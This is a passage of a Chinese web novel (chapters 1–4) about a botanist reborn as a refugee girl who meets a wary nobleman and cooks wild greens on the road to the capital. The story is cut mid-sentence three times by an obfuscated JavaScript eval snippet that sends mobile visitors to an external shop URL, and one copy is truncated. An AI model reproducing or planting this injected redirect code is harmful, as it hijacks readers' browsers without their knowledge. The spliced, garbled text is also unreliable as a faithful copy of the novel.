《我靠种田养你啊》 1. 逃荒路上 八月的天气，热得人心里发慌，到了晚上也不见一丝凉风。 帐篷里闷得像蒸笼，叶容容额头上汗珠不停地往外冒，衣裳都黏在身上了。她实在受不了，伸手把帐篷帘子掀开，总算有风吹进来了，凉丝丝的，吹得人舒服了些。可紧跟着，就听见身后传来一声冷哼。 她转过头，刘婆子正盯着她掀开的帘子，嘴里念叨：“小姐，出门在外，闺名要紧。睡觉开着帘子，让人瞧见了，说些闲话，成何体统。” 叶容容低头看看自己汗湿的衣裳，又看看刘婆子那张板着的脸，没吭声，索性放下帘子，抬脚走了出去。 外面比帐篷里凉快些，她在地上捡了片枯叶子，对着自己扇了起来。还是热，热得她脑子都乱糟糟的。 她原本叫叶佳佳，是个搞植物分析的，一觉醒来就到了这大夏朝，成了个破落千金，也叫叶容容。原身的娘临死前把她托给刘婆子，让带去京城投亲。可这小孩头回出远门，半道上就病死了，倒便宜了她这个后来的魂。 也不知道她这身本事，在这儿能不能派上用场。 原身太小了，脑子里没留下什么有用的东西。眼下她也只能靠着刘婆子，等到了京城再说。刘婆子手里攥着投亲的路，她再怎么刁难人，叶容容也只能忍着。 夜色越来越深。再不睡，明天赶路又要犯困。叶容容想着再找片大点的叶子，带进帐篷里扇着用。 路上到处都是逃荒的人，讲究点的搭个帐篷，不讲究的直接躺地上就睡。远远近近的，能瞧见三五成堆的人挤在一起，有的还点着个小火堆，像是怕夜里凉。这些日子处下来，大家彼此都有个面子情，都是一起逃难的，互相照应着。这也是叶容容敢大半夜跑出来的底气。 穷人家，没谁会点灯熬油。油贵得很，一口下去就是好几天的口粮，谁舍得？ 所以她路过一顶透着光的帐篷时，才觉得奇怪。那帐子里头，隐隐约约有磨刀的声音，一下一下的，听着让人心里发毛。 叶容容脚步顿了顿，那声音又没了。她站在原地听了一会儿，四周静悄悄的，只有远处有人翻身时衣裳摩擦的窸窣声。 她心里犯嘀咕，可转念一想，她们三个人穷得叮当响，唯一值钱的大概就是那顶打满补丁的帐篷，抢也抢不到她们头上。 这么想着，她便轻手轻脚地回了自己帐子。 刘婆子翻了个身，瞧见她进来，随口道：“小姐透气回来了？早些歇着吧，明早还得赶路。” 叶容容应了一声，躺下来，一边扇着风一边迷糊过去。 她没听见，身后刘婆子嘟囔了一句：“麻烦精。” 许是睡前听了那磨刀声，叶容容一晚上噩梦不断，第二天醒来，脑袋昏沉沉的，眼皮子重得抬不起来。 天刚蒙蒙亮，早起的人已经开始收拾行李了。窸窸窣窣的动静吵醒了刘婆子，她瞧见叶容容还在睡，脸就拉了下来，重重咳了一声。 丫鬟苗苗听见，赶紧殷勤地伺候刘婆子收拾行李。三个人紧赶慢赶地把帐篷拆了，搁上独轮车，又上了路。 比她们起得早的人已经走远了，人群慢慢往前挪，像一条长长的灰带子，望不见头。 苗苗凑到叶容容边上，小声问：“小姐，你昨晚怎么出去那么久？我和刘婆婆都没睡，等着你呢。” “找叶子，耽误了些工夫。”叶容容随口答了句，又压低声音，“我还以为刘婆婆不会在意我呢。我要是不见了，她怕是转头就回村了吧。也不知道我娘跟她说了什么，她竟愿意带咱们上京。” 苗苗摇摇头：“不会的。婆婆嘴巴是厉害些，可愿意带着咱们俩，已是难得了。要是留在家，就咱们俩，坐吃山空，哪来的活路？” 叶容容轻轻哼了一声：“咱们有手有脚，还有屋子，怎么就没活路？去京城就一定有？” 苗苗愣了愣，老老实实道：“这我也不懂。夫人让我跟着小姐，小姐去哪儿我就去哪儿。” 叶容容看着她，心里软了软。来到这世上，也就苗苗真心待她。将来若是要走，定要带上她。 两人说着话，不觉落后了些，刘婆子已走到了前头。叶容容正要加快步子追上去，余光却扫见一顶帐篷。 是昨晚那顶透着光、传出磨刀声的。 帐篷叠得整整齐齐，搁在一辆驴车上。赶车的是个精壮汉子，一身腱子肉，剑眉，眼神凌厉，怎么看都不像寻常逃荒的庄户人。他那驴车周围，清一色全是男人，没见着一个女人。 那汉子像是察觉到什么，转头看过来，正对上叶容容的目光。 那眼神冷得很，瞧得人心里发寒。 叶容容赶紧移开眼，心跳快了几拍。 苗苗还闷着头推车，什么也没察觉。叶容容一把抢过独轮车把手：“你推累了，我来。你快去追刘婆婆，我一会儿就赶上。” 苗苗不疑有他，小跑着往前去了。 刘婆子正想回头训斥那两个磨蹭的，就见苗苗追了上来，还笑嘻嘻的，把她到了嘴边的话堵了回去，只得狠狠哼了一声。 叶容容落在后头，推着车不敢慢。放眼望去，前后都望不见人烟，方才那伙人瞧着就来者不善。这世道，便是被抢了，也得留着命才好报官。 她脚下加紧，一路小跑，总算追上了前头两人。 刘婆子见她跑得两颊泛红，心念一转，这趟出门本是带她进京寻亲，也不知是福是祸。这丫头倒也安分，让走便走，叫停便停。这般想着，心里便软了几分，嘴上却骂苗苗：“懒东西，反了天了！自己不推车，倒叫你小姐推？” 苗苗不敢辩，赶紧接过车把。 叶容容觉着刘婆子忽然示好有些怪，便挽了她的胳膊，顺着话说：“还是婆婆疼我。等到了京城寻着亲戚，我定好好报答婆婆。” 刘婆子瞧她一眼，心里冷笑，这丫头，天真得很。卖了都要替人数钱。 叶容容忍不住又回头望了一眼。 那驴车正慢慢往一户富农家靠过去。那户人家前几日露了白，叫人瞧见还有几个钱。 莫不是要抢？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463676|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶容容心一紧，赶紧打量四周。她们还在乡道上，远远的，能望见城池的轮廓。路上人多，一旦乱起来，谁也跑不掉。 她摸了摸衣袋，空空如也。银钱文书全在刘婆子随身的包袱里。若真有个闪失，两手空空，便是要饭也寻不着碗。 她目光落在刘婆子身上那鼓囊囊的小包袱上，心头一动。 叶容容扬起笑脸，凑过去撒娇：“婆婆，你天天背着这包袱，怪累的。我都没帮你分担过，今儿让我背一程可好？您年纪大了，少背些轻省。” 刘婆子瞧她这几日安分，又想着自己确实有些乏，便解下包袱递过去：“行吧，你背着。东西丢了，咱们可连城都进不去。” 说罢，又悄悄摸了摸胸口，重要的东西她贴身藏着，倒不怕这小蹄子作妖。 叶容容接过包袱，回头看了一眼，那伙人还没动静。她稍稍松了口气。 一行人埋头赶路。眼看就要到城门口了，忽然，人群炸了锅 “抢劫了！” 那精壮汉子亮出大刀，直扑那户富农。人群四散奔逃，哭喊声乱成一团。 叶容容只觉一股人流涌来，瞬间把她和刘婆子冲散了。她抬眼望向远处的城门，脑子里只有一个念头 快跑！ 她一把抓住苗苗的手：“快跑！” 两人撒开腿，拼命往城门方向奔去。 刘婆子被人群挤得东倒西歪，眼睁睁瞧着那两个背影越跑越远，气得破口大骂：“杀千刀的！有本事你们死外边！” 那伙强盗要的是钱财，不是人命。叶容容拉着苗苗一口气跑出老远，直到再看不见方才那地方，才停下来。 两人弯着腰，大口大口喘气，汗如雨下。 好不容易缓过劲来，苗苗慌了神：“小姐，刘婆婆没跟上，咱们怎么办啊？” 叶容容摇头：“先进城再说。歇一歇，再想下一步。” 她打开从刘婆子那儿拿来的包袱，里头只有几件旧衣裳，几文钱，还有一封火漆封好的信。 她数了数，统共十文钱。 叶容容取出五文塞给苗苗：“就这些了，咱俩一人一半。往后有我一口吃的，就有你的。” 苗苗眼眶一红，重重点头：“小姐，我跟着你，你去哪儿我就去哪儿。” 叶容容把那封信贴身收好。这便是原身娘留下的，让她去京城寻亲的凭证。 两人背好包袱，又朝城门走去。 道上一个妇人背着小的，手里牵着大的。那小的忽然挣开手，跑去捡别人掉落的玩意儿。就在这时，远处马蹄声骤起，一队人马纵马而来，疾驰如风。 眼看马蹄就要踩上那孩子，妇人撕心裂肺地喊出声。 离孩子最近的叶容容来不及多想，冲过去一把推开她。 马蹄近在咫尺，她闭上眼，心道这回怕是要挨一下子了。 可那马竟在最后一刻生生停住。 马上之人声音低沉，略带着沙哑： “姑娘何故拦我们的马？” 2. 初遇 叶容容仰起头，迎着风看到了不远处端坐在马背上的男人。 周围都是风尘仆仆的难民，唯他不同，轮廓分明，眉峰轻佻，眼尾微垂，嘴角明明挂着笑，可惜只浮于表面，并不达眼底。 身后跟着的一队人见他停下来，也纷纷勒马。叶容容心里暗自思考，看样子，他们像极了富家公子出行，偏偏出现在逃荒的路上，实在古怪。若是能有几分交际，得到一些助力也是挺好的。 斟酌着开口道：“公子明鉴，小女子只是为了救人，怎么敢拦公子的马。” 蒋成晏顺着声音传来的方向望去，这才看清那拦马之人的模样，不过十五六岁的年纪，一身粗布衣裳沾满了泥尘，可那双眼睛却清亮得很，此刻正怯生生地望着他，却又不像旁的难民那般躲闪。 他收回目光，没有应声，只是淡淡扫了小六一眼。 小六静默一瞬，立即翻身下马，快步走到蒋成晏马侧，垂首道：“属下办事不力，还请公子责罚。” 无人应话，唯独小六长跪在地。 此番暗中外遣乃是上面的旨意，一路来风尘仆仆，便是想伪装其中探取真实目的。可眼下，偏生出个拦路虎来。 人群一静，便将远处难民抢夺粮食的喧哗声传过来。 蒋成晏没有看他，只是静静立于马背之上，目光缓缓移向那喧闹之处，停留片刻，又移回来，最终落在身前那个女子身上。 蒋成晏静了一会，淡声问道：“姑娘是京城中人？” 叶容容面上顿显赫意，急忙解释道：“并非，小女只是逃难至此。” 蒋成晏不相信这一切只是巧合，他打量着她，衣裳确实脏兮兮沾着泥，可那双手却白白净净的，指头纤细，一个茧子都没有。 闻言，蒋成晏指尖轻叩马鞭，轻笑一声，缓缓道：“原来如此，方才多有得罪，姑娘去哪里，捎你们一程。” 叶容容一听，赶忙感谢道：“多谢公子，能捎我们一程就感激不尽了。” 蒋成晏朝小六递了一个眼色。小六会意，起身走到苗苗跟前。 蒋成晏这才转过头来，语气温和了几分：“出门在外，马匹不够用，只好委屈姑娘与我同骑了。” 叶容容回答道：“岂敢，打扰公子了。” 他心里冷笑一声，面上却不显。一行人又重新骑上马，急匆匆的朝着城门飞奔而去。 马蹄扬起更多的尘土。母亲含泪抱着失而复得的小女儿，说：“没事就好，多亏女菩萨救了你。” 不多时，一行人就到一处歇脚的地方，一个废弃的破庙。破庙里面零零散散躺着一些难民。 蒋成晏看了一眼天色，对众人说道：“天色不早了，今晚就在这里歇息吧。” 众人齐声答应下来。叶容容被扶下马，道了谢，蒋成晏摆摆手，转身去栓马。 苗苗跑过来，一把攥住叶容容说：“小姐，我很担心你啊，刚刚真的太凶险了。” 叶容容摸了摸苗苗的头，轻声安慰道：“傻丫头，我这不是没事吗。好了好了，别担心了，今天好好休息，明天才能有精力继续进京城呢。” 两个人正在互相安慰的时候，旁边一个躺在地上的男人听到她们说话，抬起头来说道：“你们两个想进京城？” 听到有人说话，叶容容走过去，询问道：“这位大哥是要去京城吗？” 男人冷哼一声，不屑道：“劝你们乘早放弃，另寻其他谋生路吧。” 叶容容问道：“大哥此话怎讲？”那男人却又闭口不言，转身背对着她们，一副不愿意多说的样子。 叶容容愣了愣，又看向旁边一个蜷缩着的老汉，走过去问：“老伯，我想打听个事，京城那边……” 那老汉抬眼看她一下，咳了两声，摆摆手，也不说话。 叶容容不死心，又往庙里头走了几步，见一个中年妇人靠在墙角，便蹲下来问：“大嫂，我想问问，去京城的路好走吗？” 那妇人打量她一眼，嗤笑一声：“去京城？你们是头一回逃荒吧？京城早不让进了，离好几里地就有官兵拦着，见一个赶一个。我那当家的，就是和官兵理论被打了一顿撵回来，腿都折了。” 她说着，往庙门口努努嘴，“喏，刚才不理你那男的，也是叫人打折的。” 叶容容心里一沉。她又找了两个人打听，得到的都是差不多的答复，京城进不去，去了也是白去。 叶容容压下情绪，拉着怔愣在原地的苗苗离开了。 庙门口拴马的小六栓好马后往庙里瞅，正看见叶容容到处跟人打听进京的事。 他眼珠一转，走到蒋成晏身侧，低声道：“公子，方才那两个女子，正到处跟人打听进京的事。别人说不让进，她们还不死心。” 蒋成晏正在喂他的爱马吃糖块，说道：“这样啊。确实可疑，我本来想把她们留在身边，好好盘问一番的。” 又把手里面最后一块糖拿给旁边的人，吩咐道：“你来把糖喂了，我倒是要看看，她们两个现在要干嘛。” 随即走向叶容容的位置。叶容容正发着呆，就听见苗苗肚子咕咕咕的叫起来。 苗苗不好意思的冲叶容容笑道：“小姐，我一天没吃饭，饿了。” 叶容容这才想起来，她们光顾着逃命，一整天没吃饭了，她赶紧站起来，拍拍身上的浮尘，说道：“走，我带你去找些吃的。” 苗苗问道：“可是小姐，这附近荒郊野岭，哪里来的吃的啊。” 叶容容微微一笑道：“这可难不倒我，只要有野菜就饿不死我们。”说罢，便带着苗苗往外走。 正巧和来找她的蒋成晏撞到。蒋成晏看到叶容容拉着苗苗，心想，该不会她们发现了刚刚小六在偷听她们，要跑？小六办事还是太毛毛躁躁了。 他往后退了一点，刚刚好挡在庙门口，询问道：“姑娘这是往哪里走？” 叶容容回答道：“我们出去寻找看有没有可以吃的野菜。” 蒋成晏目光在她脸上停了停，心想，这个借口倒是新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463677|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜。方圆几里能吃的野菜早就被难民扫空了，她一个娇滴滴的姑娘家，能认得什么？ 蒋成晏心里是这么想的，嘴上却说道：“姑娘要是不嫌弃，我们还有多余的粮食，可以分姑娘一些。” 居然遇到大善人了，叶容容看着蒋成晏，说到：“多谢公子，我们刚才骑马的时候，我依稀看到有能吃的野菜，要是寻到了也分给公子尝尝，实在寻不到，才来厚着脸皮向公子讨要。” 蒋成晏不屑的看着她们两个，微微侧身，把出去的路让出来，说道：“那就恭敬不如从命了，姑娘何不带上我，我也可以帮姑娘打个下手。” 小六这个时候岔过来，对苗苗说到：“你家小姐有我们公子陪同，你就别去，我们这几日天天骑马，衣服被磨破了，劳烦帮我们补一下，定不会不让你白做。” 苗苗看向叶容容，叶容容点点头，苗苗便跟着小六走了。 蒋成晏提醒道：“走吧姑娘。”两个人一起并肩走出破庙的大门。 蒋成晏问道：“敢问姑娘芳名，一直姑娘姑娘的叫，也不太好。” 叶容容回答道：“我叫叶容容，树叶的叶。” 蒋成晏说：“那我就叫你叶姑娘，我姓蒋。” 叶容容心想这个人够谨慎，只愿意告诉我姓，“好的，蒋公子。” 走到破庙外面，确实如蒋成晏所料，能吃的早都被吃了。剩下的灌木丛，都是带刺，是连马都不愿意吃的存在。 叶容容径自走向了带刺的灌木丛，如果她刚刚在马背上没有看错的话，这个就是后世经过一代一代选种培育的苦刺叶。 叶片带刺不能食用，就算勉强忍受刺，但是入口是酸涩口的，解决办法就是加碱中和，而古代没有纯碱，但是草木灰里面就有碱。 蒋成晏看到叶容容径直走向不能吃的灌木丛，出声提醒道：“叶姑娘，这种叶子连马都不吃的。” 叶容容回头答道：“你放心，我有一种办法可以让它能吃。” 一边说话，一边手里的行动没停，一直在不停扯苦刺叶的嫩芽。不一会手里扯了一大堆，转头冲蒋成晏说道：“公子放心，这个能吃，等会做出了，我先尝给公子看。” “没想到你真的认识野菜？”蒋成晏眯了眯眼，这个叶容容真的认识什么能吃。 之前在边疆，最不缺的就是这种野菜，如果真的能吃，起码可以保证打仗的时候不会被饿死。 蒋成晏问道：“叶姑娘还认识别的能吃的野菜吗？” “认识，不算多，我们刚刚路上就有很多能吃的，没人吃，我瞧见了，不好意思叫停。”叶容容摘了一大堆嫩芽，正准备返回。 蒋成晏看着她，忽然笑了，那笑意却只浮在嘴角：“叶姑娘可愿随我进京？沿途见着的野菜，烦劳一一指给我看。事成之后，我保你们顺顺当当进城。” 叶容容眼睛一亮：“真的？” “自然。” 叶容容正要道谢，身后忽然传来一阵窸窸窣窣的动静…… 3. 寻觅 叶容容正要道谢，身后忽然传来一阵脚步声。 她回头一看，看见一个男人大步流星地朝这边走来。叶容容心里头犯嘀咕:这人谁啊？怎么平白无故出现在这里？ 还没等她琢磨明白，那人直冲她来了，脸红脖子粗的，眼睛瞪得通红，指着她就骂:“原来你在这里!终于找到你们了，老子今天非扒了你们的皮不可!” 叶容容定睛一看，心里咯噔一下，这不是刘婆婆的男人吗？他怎么会在这儿？难道是刘婆婆带着他找来的？可刘婆婆人呢？ 她下意识地往四周扫了一眼，没瞧见刘婆婆的影子，心里头的疑惑更重了。 叶容容问道:“你是老刘，有话好好说，怎么动手动脚的。刘婆婆呢，怎么就你一个人？” 老刘已经冲到跟前，伸手就要抓她，嘴里嚷着:“好好说，我现在就带你去老婆子面前好好说!你们怎么扔下她自己跑了？” 叶容容侧身躲开，皱着眉道:“当时情况危急，有歹徒杀人抢东西，我们也是没办法才分开跑的。” 这边的动静不小，蒋成晏自然也看见了。他站在那儿没动，瞟了叶容容一眼，又看了看那个男人，然后收回目光，从腰上取下马鞭，慢悠悠地在手里转着玩。 老刘这才注意到旁边还站着个人。他上下打量了蒋成晏一眼，见这人一副不慌不忙的样子，心里反倒有点打鼓。他停下动作，恶狠狠地说:“哦，我明白了，怪不得你现在牙尖嘴利的，原来是攀上高枝了。” 叶容容飞快地瞥了蒋成晏一眼，见他没什么反应，便沉下脸道:“我攀不攀高枝，跟你有什么关系?你一上来就打打杀杀的，要不是看在熟人的份上，我早报官抓你了。” 老刘被她这话吓了一跳，又偷偷去看蒋成晏，那张脸冷冷的，手里转着马鞭，眼皮都没抬一下。这人看着就不像普通逃荒的，腰杆笔直，一看就不是好惹的。 他心里发虚，语气倒是软了些，转头对蒋成晏说:“公子可别被这小蹄子骗了。我家婆娘好心好意送她进京城寻亲，结果她们两个趁乱跑了，扔下我婆娘一个人。等我找到她的时候，人已经不行了......” 说着说着，眼圈就红了。他又转过头来，恶狠狠地瞪着叶容容:“要不是你们扔下她跑了，她咋会一个人？她临死前说了，就是你们抛弃她的!” 听到这话，叶容容声音一下子就低了:“刘婆婆......死了？” 老刘冷哼一声:“现在哭，晚了!老子这就带你们两个去给她赔罪!” 蒋成晏听着他们吵，手里转马鞭的动作一直没停，脸上也没什么表情，好像这事儿跟他一点关系都没有。 过了好一会儿，他才慢悠悠开口:“叶姑娘，自己能处理吗？” 老刘听他这语气，好像也不怎么护着叶容容，眼睛顿时一亮，又嚷嚷起来:“公子可别被她骗了!她就是个没爹没娘的孤女，靠坑蒙拐骗，哄人带她去京城寻亲!” 叶容容心里一紧。她知道蒋成晏这是在试她，要是连这点场面都应付不了，那人家凭什么帮她。 她深吸一口气，定了定神，说:“他说的没错，我确实是没爹没娘的孤女。但这跟我认得野菜有什么关系？公子要是不信，我这就做出来给你看。要是我骗人，任凭公子发落。” 蒋成晏听了，嘴角微微翘起来:“那就有劳叶姑娘了。” 老刘见叶容容三言两语就把蒋成晏稳住了，气得不行，咬牙道:“公子你瞧见了，这贱皮子心眼多得很，连自己恩人都能扔下不管，你把她留在身边，早晚要倒大霉!” 叶容容冷笑一声:“恩人？刘婆婆带我上路，是收了我娘银子的。这一路上，她没少骂我，也没少惦记我身上那点东西。说不上恩人，不过是互相利用罢了。”她顿了顿，盯着老刘，“强盗来了，你不跑，等着送死吗？” 老刘气得浑身发抖:“你个小贱人，还敢嘴硬!”他举起拳头就要往上冲。 叶容容侧身一闪，老刘那一拳落了空，整个人往前栽了一步。 她站稳了，吸了口气，耐着性子说：“你先别急，有话慢慢说。刘婆婆的事我也难过，你就算把我打死了，她也活不过来不是？” 老刘站稳身子，喘着粗气瞪她：“难过？你少在这儿假惺惺的！我婆娘对你可不薄，你就这么报答她的？” 叶容容憋着火气，尽量说得平和点：“我知道刘婆婆带我一路不容易，我心里清楚。可那天的情况，歹徒拿着刀到处砍人，谁不跑谁死。我和苗苗也是拼了命才跑出来的。” “放屁！”老刘打断她，“你们跑了，丢下她一个老婆子，她能跑得过谁？” 他越说越气，又要往上冲。 叶容容赶紧往后退了两步，正想着怎么劝住他，就听见身后“啪”的一声。 她回头一看。原来是苗苗见她们许久没回来，出来寻她们了。 苗苗一脚踩在了刚才她摘的那堆野菜上，嫩芽被踩得稀烂，汁水都溅出来了。 苗苗吓得脸都白了，结结巴巴道：“小、小姐，我不是故意的……” 老刘也看见了地上的野菜，愣了一下，眼睛顿时亮了，弯腰就抢。 他一把抓起那些被踩烂的嫩芽，又把散落在旁边的几根捡起来，往怀里塞。叶容容看着他的动作，心里一动。 逃荒路上，野菜就是命。他这么紧张这些野菜，说明也饿得不轻。 她低头看了看脚下，又往四周扫了一眼，瞧见不远处还长着几株别的野菜，叶子宽宽的，和她刚才摘的那种完全不一样。 她脑子一转，认出了那是什么。这东西看着好看，吃进嘴里却是苦的，还有点毒性，吃多了要拉肚子。 可逃荒的人哪管这些？看着能吃的就往嘴里塞。 叶容容心里有了主意。她蹲下身，把那几株野菜拔了出来，在手里抖了抖土，故意往老刘那边递了递，嘴里还念叨着：“这个也能吃，比刚才那个还嫩呢。” 老刘眼睛一直盯着她手里的东西，见她举起来，二话不说，一把就抢了过去，塞进怀里，生怕她反悔似的。 叶容容心里松了口气，面上却没露出来，只说：“这个你拿去吧，够你吃两顿了。” 老刘抱着怀里的野菜，脸上的怒气倒是消了几分，嘴里还是不饶人：“算你还有点良心。我婆娘的事，没完！” 叶容容顺着他说：“刘婆婆的事，我以后有机会一定去给她上柱香。眼下大家都饿着肚子，你先顾好自己吧。” 老刘哼了一声，抱着野菜转身就走，走了两步又回头瞪了她一眼：“别以为这样就算了！”说完，头也不回地走了。 叶容容看着他的背影消失在夜色里，这才长长地吐出一口气。 苗苗凑过来，小声问：“小姐，你刚才给那个人的野菜，能吃吗？” 叶容容笑了笑，没答话，只是低头看了看地上被踩烂的那些嫩芽，心疼地叹了口气。 蒋成晏一直站在旁边，这会儿才慢悠悠开了口：“叶姑娘倒是个大方人。” 叶容容抬起头，对上他那双似笑非笑的眼睛，心里明白，方才那一出，他全看在眼里了。 她也不瞒着，只淡淡道：“他闹也闹了，东西也拿了，总该消停会儿了。” 蒋成晏没再说什么，只是看了她一眼，转身往庙里走。 叶容容蹲下身，把地上还能捡起来的嫩芽收拾了一下。 叶容容蹲在地上，把那些被踩烂的嫩芽挑拣了一番，能用的没剩多少了。 她叹了口气，站起身来，对苗苗道：“你在这儿等着，我再去摘点。” 苗苗连忙道：“我跟你去。” “不用，就在那边，一会儿就回来。”叶容容说完，转身往庙外走。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463678|201299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒋成晏站在庙门口，见她出来，也没拦，只是看了她一眼。 叶容容没理他，径直走到那片灌木丛前，借着月色又掐了一把嫩芽。 这次她摘得比方才还多，心里盘算着，光有野菜不行，还得找点草木灰。 她四下看了看，瞧见庙门口有堆烧过的火堆，便走过去扒拉了几下，捡了几块灰白色的草木灰揣进怀里。 回到庙里，苗苗已经不知道从哪里找到一口小锅。 叶容容把野菜洗干净，又找了几块石头搭了个简易的灶台，把锅架上去，倒了点水，生了火。水烧开了，她把野菜下进去，又悄悄把那几块草木灰碾碎了撒进锅里。 苗苗蹲在旁边看，小声问：“小姐，放那个能行吗？” “能行。”叶容容搅了搅锅里的菜叶子，“这野菜有点涩口，放了草木灰就不涩了。” 苗苗似懂非懂地点点头。 锅里的水咕嘟咕嘟冒着泡，野菜的叶子渐渐变了颜色，一股淡淡的清香味飘了出来。庙里那些难民本来都躺着的，这会儿一个个都坐起来了，眼睛直勾勾地盯着那口锅。 小六子也凑过来了，抽了抽鼻子，扭头对蒋成晏道：“公子，闻着还挺香的。” 蒋成晏没说话，只是往这边看了一眼。 叶容容拿树枝夹了一片叶子出来，吹了吹，放进嘴里尝了尝。嗯，不涩了，虽然还是有点苦，但比起生啃那些带刺的叶子，已经好了不知道多少倍。 “好了。”她松了口气，把锅从石头上端下来。苗苗早就饿得不行了，端着碗眼巴巴地看着。 叶容容先给自己盛了一碗，坐下来慢慢吃了几口。她吃完了小半碗，抬起头，对蒋成晏道：“公子放心，没毒。” 蒋成晏看了她一眼，没接话，只是走过来，端起碗自己盛了一碗。 他夹了一筷子放进嘴里，嚼了两下，眉头微微一挑。 他又夹了一筷子，这才慢悠悠道：“倒是不难吃。” 小六子早就等不及了，凑过来也盛了一碗，尝了一口，眼睛都亮了：“嘿，还真不赖！比我们这几天啃的干粮强多了！” 那些难民眼巴巴地看着，叶容容锅里的野菜也不多了，便让苗苗把剩下的分给了旁边几个孩子。 叶容容自己又盛了小半碗，端着坐在角落里，一口一口地嚼着。 野菜的味道说不上好，但热乎乎的汤灌进肚子里，整个人都舒服了不少。 蒋成晏吃完碗里的菜，把碗搁在一旁，看着她，忽然开口道：“叶姑娘这手艺，倒是不错。” 叶容容抬起头，对上他那双似笑非笑的眼睛，淡淡道：“不过是认得几样野菜罢了，算不上什么手艺。” “认得几样野菜？”蒋成晏笑了一下，那笑意却只浮在嘴角，“这荒郊野岭的，能认得能吃的东西，就是本事。我在边关待过，知道饿肚子的滋味。要是军中有人认得这些，也不至于年年饿死人。” 叶容容心里一动，没接话。蒋成晏看着她，语气比方才认真了些：“叶姑娘，我再问你一次，可愿意随我进京？路上见着的野菜，你指给我看。到了京城，我保你们主仆二人安安稳稳。” 叶容容放下碗，看着他。她知道这人还在试探她，但她也知道，这趟顺风车，她非搭不可。 “好。”她点了点头，“我跟公子去。” 蒋成晏点点头，没再多说，站起身拍了拍衣裳，往庙里头走了。 苗苗凑过来，小声问：“小姐，咱们真要跟他去京城啊？” 叶容容点点头：“跟着他，总比咱们两个瞎闯强。” 苗苗似懂非懂地“哦”了一声，又低头扒拉碗里剩下的菜叶子。 叶容容靠在墙边，看着庙门口那点月光，心里头想着：今晚这顿饭算是糊弄过去了，可明天、后天呢？她得让蒋成晏觉得她有用，才能一路跟着他到京城。 4. 大显身手 因为心里面想着事情，叶容容晚上并没有休息好。她靠着墙壁，迷迷糊糊的，想到了自己的没有穿越过来的时候。 那个时候她还在室外做实验，最新一批的植物数据出来了，她们实验室今年培育出了更加抗旱的小麦品种，明年有望在干旱的温带大陆性气候地区试种，导师喜笑颜开，答应给她一作，自己只署名通讯作者。 “小姐！小姐！” 苗苗的声音把她拽了回来。叶容容睁开眼，天已经蒙蒙亮了，破庙外头有人在收拾东西，叮叮当当的。 “该上路了。”苗苗小声说，“蒋公子那边准备好了。” 叶容容揉揉眼睛，站起来，把身上沾的干草屑拍掉。昨晚喝了那锅野菜汤，不算饱，但比饿着强。 出了庙门，蒋成晏站在马旁边，手里攥着缰绳，正在等待她们主仆二人。小六子牵着另一匹马。 “叶姑娘，上马吧。”蒋成晏抬了抬下巴，示意她上他那匹。 叶容容也没矫情，踩着马镫翻了上去。苗苗也被小六子带上另一匹马，她紧张得攥着缰绳不敢动。 一行人往县城方向走。 路上逃荒的人越来越多，三三两两的，有的拖家带口，有的孤身一人，个个灰头土脸。叶容容坐在马背上，视野高了，看得也远了。 她忽然想起昨晚那锅野菜，又想起自己以前在实验室里做的事。那时候天天跟植物打交道，什么能吃，什么有毒，什么耐旱，什么喜水，闭着眼睛都能说出来。谁能想到，这些本事有一天真能救命？ “叶姑娘。”蒋成晏忽然开口，打断她的思绪。 “嗯？” “你说你认得野菜，那这一路上，遇见了就停下来讲讲。我们不怕耽误时间。”他语气淡淡的，听不出是商量还是吩咐，“能吃的，不能吃的，都说一说。” 叶容容点了点头回答道：“行。” 走了没多远，就发现一棵长满荆棘的树，周围矮一点的叶片已经被采走了，只有顶端有一点叶片。叶片也是布满小刺。叶容容眼睛一亮，拉了拉蒋成晏的袖子：“公子，停一下。” 蒋成晏勒住马。叶容容翻身下来，跑到荆棘旁边，冲蒋成晏说道：“蒋公子，太高了，我够不着。” 不等蒋成晏发话，旁边的随从翻身下来，助跑两步，轻轻松松就摘下最顶端的嫩芽。 随从看到手中带着小刺的嫩芽，交给了叶容容。 “这个能吃。”她回头说，“刚刚长出来的小刺是软的，人可以吃，长大了刺就不能吃了。。” 她把手里的嫩芽递给蒋成晏。蒋成晏接过去看了看，没吃，只是收进了马背上的袋子里。 叶容容也不在意，站起来拍了拍手，又上了马。 一行人继续往前走。 又过了半个时辰，路边的沟坎上长着一片宽叶子的野菜，颜色灰扑扑的，看着就没有食欲。叶容容又喊了停。 “这个也能吃。”她指着那片野菜，“不过不能生吃，得焯水，不然麻嘴。要是有蒜末拌一拌，味道更好。” 小六子在旁边听着，咽了口唾沫：“叶姑娘，你就别说了，说得我肚子都叫了。” 